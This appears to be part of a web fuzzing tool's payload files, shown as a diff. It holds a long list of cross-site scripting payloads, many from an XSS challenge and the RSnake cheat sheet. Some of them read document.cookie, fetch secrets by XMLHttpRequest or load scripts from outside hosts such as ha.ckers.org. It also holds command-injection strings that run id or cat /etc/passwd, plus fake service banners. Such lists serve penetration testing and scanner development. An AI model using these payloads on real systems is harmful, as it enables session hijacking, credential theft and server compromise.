<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
|
||||
<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
|
||||
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
|
||||
<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
|
||||
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
|
||||
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
|
||||
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
|
||||
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
|
||||
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
|
||||
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
|
||||
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
|
||||
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
|
||||
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
|
||||
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
|
||||
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
|
||||
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
|
||||
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
|
||||
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
|
||||
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
|
||||
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
|
||||
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
|
||||
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
|
||||
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
|
||||
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
|
||||
<a href="javascript:\u0061le%72t(1)"><button>
|
||||
<div onmouseover='alert(1)'>DIV</div>
|
||||
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
|
||||
<a href="jAvAsCrIpT:alert(1)">X</a>
|
||||
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
|
||||
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
|
||||
<var onmouseover="prompt(1)">On Mouse Over</var>?
|
||||
<a href=javascript:alert(document.cookie)>Click Here</a>
|
||||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||||
<%<!--'%><script>alert(1);</script -->
|
||||
<script src="data:text/javascript,alert(1)"></script>
|
||||
<iframe/src \/\/onload = prompt(1)
|
||||
<iframe/onreadystatechange=alert(1)
|
||||
<svg/onload=alert(1)
|
||||
<input value=<><iframe/src=javascript:confirm(1)
|
||||
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
|
||||
http://www.<script>alert(1)</script .com
|
||||
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
|
||||
<svg><script ?>alert(1)
|
||||
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
|
||||
<img src=`xx:xx`onerror=alert(1)>
|
||||
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
|
||||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
|
||||
<svg contentScriptType=text/vbs><script>MsgBox+1
|
||||
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
|
||||
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
|
||||
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
|
||||
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
|
||||
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ????????????
|
||||
<object data=javascript:\u0061le%72t(1)>
|
||||
<script>+-+-1-+-+alert(1)</script>
|
||||
<body/onload=<!-->
alert(1)>
|
||||
<script itworksinallbrowsers>/*<script* */alert(1)</script ?
|
||||
<img src ?itworksonchrome?\/onerror = alert(1)???
|
||||
<svg><script>//
confirm(1);</script </svg>
|
||||
<svg><script onlypossibleinopera:-)> alert(1)
|
||||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
|
||||
<script x> alert(1) </script 1=2
|
||||
<div/onmouseover='alert(1)'> style="x:">
|
||||
<--`<img/src=` onerror=alert(1)> --!>
|
||||
<script/src=data:text/javascript,alert(1)></script> ?
|
||||
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
|
||||
"><img src=x onerror=window.open('https://www.google.com/');>
|
||||
<form><button formaction=javascript:alert(1)>CLICKME
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click
|
||||
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
|
||||
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
||||
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
|
||||
"><img src=x onerror=prompt(1);>
|
||||
# credit to rsnake
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
SRC=
<IMG 6;avascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC="jav ascript:alert('XSS');">
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
<SCRIPT>a=/XSS/
|
||||
\";alert('XSS');//
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
<IMG DYNSRC="javascript:alert('XSS')">
|
||||
<IMG LOWSRC="javascript:alert('XSS')">
|
||||
<BGSOUND SRC="javascript:alert('XSS');">
|
||||
<BR SIZE="&{alert('XSS')}">
|
||||
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
|
||||
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
||||
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
|
||||
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
|
||||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||
<IMG SRC="mocha:[code]">
|
||||
<IMG SRC="livescript:[code]">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<XSS STYLE='no\xss:noxss("*//*");
|
||||
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
|
||||
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||
<BASE HREF="javascript:alert('XSS');//">
|
||||
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
|
||||
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
|
||||
getURL("javascript:alert('XSS')")
|
||||
a="get";
|
||||
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
|
||||
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
|
||||
<HTML><BODY>
|
||||
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
|
||||
<? echo('<SCR)';
|
||||
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
29
src/extra_files/cmd_exec.txt
Executable file
29
src/extra_files/cmd_exec.txt
Executable file
@ -0,0 +1,29 @@
|
||||
a);id
|
||||
a;id
|
||||
a);id;
|
||||
a;id;
|
||||
a);id|
|
||||
a;id|
|
||||
a)|id
|
||||
a|id
|
||||
a)|id;
|
||||
a|id
|
||||
|/bin/ls -al
|
||||
a);/usr/bin/id
|
||||
a;/usr/bin/id
|
||||
a);/usr/bin/id;
|
||||
a;/usr/bin/id;
|
||||
a);/usr/bin/id|
|
||||
a;/usr/bin/id|
|
||||
a)|/usr/bin/id
|
||||
a|/usr/bin/id
|
||||
a)|/usr/bin/id;
|
||||
a|/usr/bin/id
|
||||
;system('cat%20/etc/passwd')
|
||||
;system('id')
|
||||
;system('/usr/bin/id')
|
||||
%0Acat%20/etc/passwd
|
||||
%0A/usr/bin/id
|
||||
%0Aid
|
||||
%0A/usr/bin/id%0A
|
||||
%0Aid%0A
|
4
src/extra_files/fuzz_nmap_signatures
Executable file
4
src/extra_files/fuzz_nmap_signatures
Executable file
@ -0,0 +1,4 @@
|
||||
550 4m2v4 (__FUZZ__)
|
||||
+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n
|
||||
220 __FUZZ__ ESMTP OpenSMTPD\r\n
|
||||
HTTP/1.0 200 OK\n<HTML><HEAD><TITLE>__FUZZ__'s desktop</TITLE></HEAD>\n<BODY>\n<APPLET CODE=vncviewer/VNCViewer.class ARCHIVE=vncviewer.jar WIDTH=44 HEIGHT=44>\n\t<param name=PORT value=4444>\n</APPLET>\n</BODY></HTML>\n
|
304
src/extra_files/fuzz_payloads
Executable file
304
src/extra_files/fuzz_payloads
Executable file
@ -0,0 +1,304 @@
|
||||
WOOT
|
||||
A
|
||||
0AAAAAAAAAAAAAAAAAA
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT%20SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
<IMG%20SRC="javascript:alert('XSS');">
|
||||
<IMG%20SRC=javascript:alert('XSS')>
|
||||
<IMG%20SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG%20SRC=javascript:alert("XSS")>
|
||||
<IMG%20SRC=`javascript:alert("RSnake%20says,%20'XSS'")`>
|
||||
<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
SRC=
<IMG%206;avascript:alert('XSS')>
|
||||
<IMG%20SRC=javascript:alert('XSS')>
|
||||
<IMG%20SRC=javascript:alert('XSS')>
|
||||
<IMG%20SRC="jav ascript:alert('XSS');">
|
||||
<IMG%20SRC="jav	ascript:alert('XSS');">
|
||||
<IMG%20SRC="jav
ascript:alert('XSS');">
|
||||
<IMG%20SRC="jav
ascript:alert('XSS');">
|
||||
<IMG%20SRC="%20%20%20javascript:alert('XSS');">
|
||||
<SCRIPT/XSS%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT%20SRC=http://ha.ckers.org/xss.js?<B>
|
||||
<IMG%20SRC="javascript:alert('XSS')"
|
||||
<SCRIPT>a=/XSS/
|
||||
\";alert('XSS');//
|
||||
<INPUT%20TYPE="IMAGE"%20SRC="javascript:alert('XSS');">
|
||||
<BODY%20BACKGROUND="javascript:alert('XSS')">
|
||||
<BODY%20ONLOAD=alert('XSS')>
|
||||
<IMG%20DYNSRC="javascript:alert('XSS')">
|
||||
<IMG%20LOWSRC="javascript:alert('XSS')">
|
||||
<BGSOUND%20SRC="javascript:alert('XSS');">
|
||||
<BR%20SIZE="&{alert('XSS')}">
|
||||
<LAYER%20SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
|
||||
<LINK%20REL="stylesheet"%20HREF="javascript:alert('XSS');">
|
||||
<LINK%20REL="stylesheet"%20HREF="http://ha.ckers.org/xss.css">
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
<META%20HTTP-EQUIV="Link"%20Content="<http://ha.ckers.org/xss.css>;%20REL=stylesheet">
|
||||
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
|
||||
<IMG%20SRC='vbscript:msgbox("XSS")'>
|
||||
<IMG%20SRC="mocha:[code]">
|
||||
<IMG%20SRC="livescript:[code]">
|
||||
<META%20HTTP-EQUIV="refresh"%20CONTENT="0;url=javascript:alert('XSS');">
|
||||
<META%20HTTP-EQUIV="refresh"%20CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
<META%20HTTP-EQUIV="Link"%20Content="<javascript:alert('XSS')>;%20REL=stylesheet">
|
||||
<META%20HTTP-EQUIV="refresh"%20CONTENT="0;%20URL=http://;URL=javascript:alert('XSS');">
|
||||
<IFRAME%20SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME%20SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE%20BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV%20STYLE="background-image:%20url(javascript:alert('XSS'))">
|
||||
<DIV%20STYLE="background-image:%20url(javascript:alert('XSS'))">
|
||||
<DIV%20STYLE="width:%20expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG%20STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS%20STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<XSS%20STYLE='no\xss:noxss("*//*");
|
||||
<STYLE%20TYPE="text/javascript">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A%20CLASS=XSS></A>
|
||||
<STYLE%20type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||
<BASE%20HREF="javascript:alert('XSS');//">
|
||||
<OBJECT%20TYPE="text/x-scriptlet"%20DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
|
||||
<OBJECT%20classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param%20name=url%20value=javascript:alert('XSS')></OBJECT>
|
||||
getURL("javascript:alert('XSS')")
|
||||
a="get";
|
||||
<!--<value><![CDATA[<XML%20ID=I><X><C><![CDATA[<IMG%20SRC="javas<![CDATA[cript:alert('XSS');">
|
||||
<XML%20SRC="http://ha.ckers.org/xsstest.xml"%20ID=I></XML>
|
||||
<HTML><BODY>
|
||||
<SCRIPT%20SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
<!--#exec%20cmd="/bin/echo%20'<SCRIPT%20SRC'"--><!--#exec%20cmd="/bin/echo%20'=http://ha.ckers.org/xss.js></SCRIPT>'"-->
|
||||
<?%20echo('<SCR)';
|
||||
<META%20HTTP-EQUIV="Set-Cookie"%20Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||
<HEAD><META%20HTTP-EQUIV="CONTENT-TYPE"%20CONTENT="text/html;%20charset=UTF-7">%20</HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT%20a=">"%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT%20a=">"%20''%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT%20"a='>'"%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT%20a=`>`%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT%20SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
|
||||
<<scr\0ipt/src=http://xss.com/xss.js></script
|
||||
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
|
||||
'%20onmouseover=alert(/Black.Spook/)
|
||||
"><iframe%20src="http://google.com"%%203E
|
||||
